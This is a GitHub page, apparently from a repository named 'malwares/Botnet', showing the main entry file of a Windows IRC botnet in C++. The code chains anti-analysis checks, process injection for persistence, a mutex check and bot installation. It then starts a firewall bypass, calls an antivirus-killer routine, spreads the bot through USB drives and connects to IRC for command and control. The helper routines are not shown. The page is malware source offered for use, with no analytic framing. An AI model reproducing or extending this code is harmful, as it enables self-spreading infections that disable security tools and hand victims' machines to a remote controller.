forked from malwares/Botnet
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwGanja.cpp
42 lines (34 loc) · 889 Bytes
/
wGanja.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include "wALL.h"
#include "wConfig.h"
SOCKET sock;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char currentfile[MAX_PATH] = {0},
destination[MAX_PATH] = {0};
SetErrorMode(SEM_NOGPFAULTERRORBOX);
Sleep(400);
Detect_Anti();
//Presistance
if(_inject) {
DWORD dwPID;
if(Check(cfg_filename)) {
dwPID = GetPID(cfg_filename);
Inject(dwPID, (LPTHREAD_START_ROUTINE)Guard, NULL);
}
}
//mutex-check
HANDLE xetum;
xetum = CreateMutex(NULL, FALSE, cfg_mutex);
if (GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);
//install
BotInstall();
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Firewall_Bypass, 0, 0, 0);
AntivirusKiller();
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)USB_Spreader, 0, 0, 0);
//connect
char test[1] = "";
IRC_Thread((void*)test);
return 0;
}
//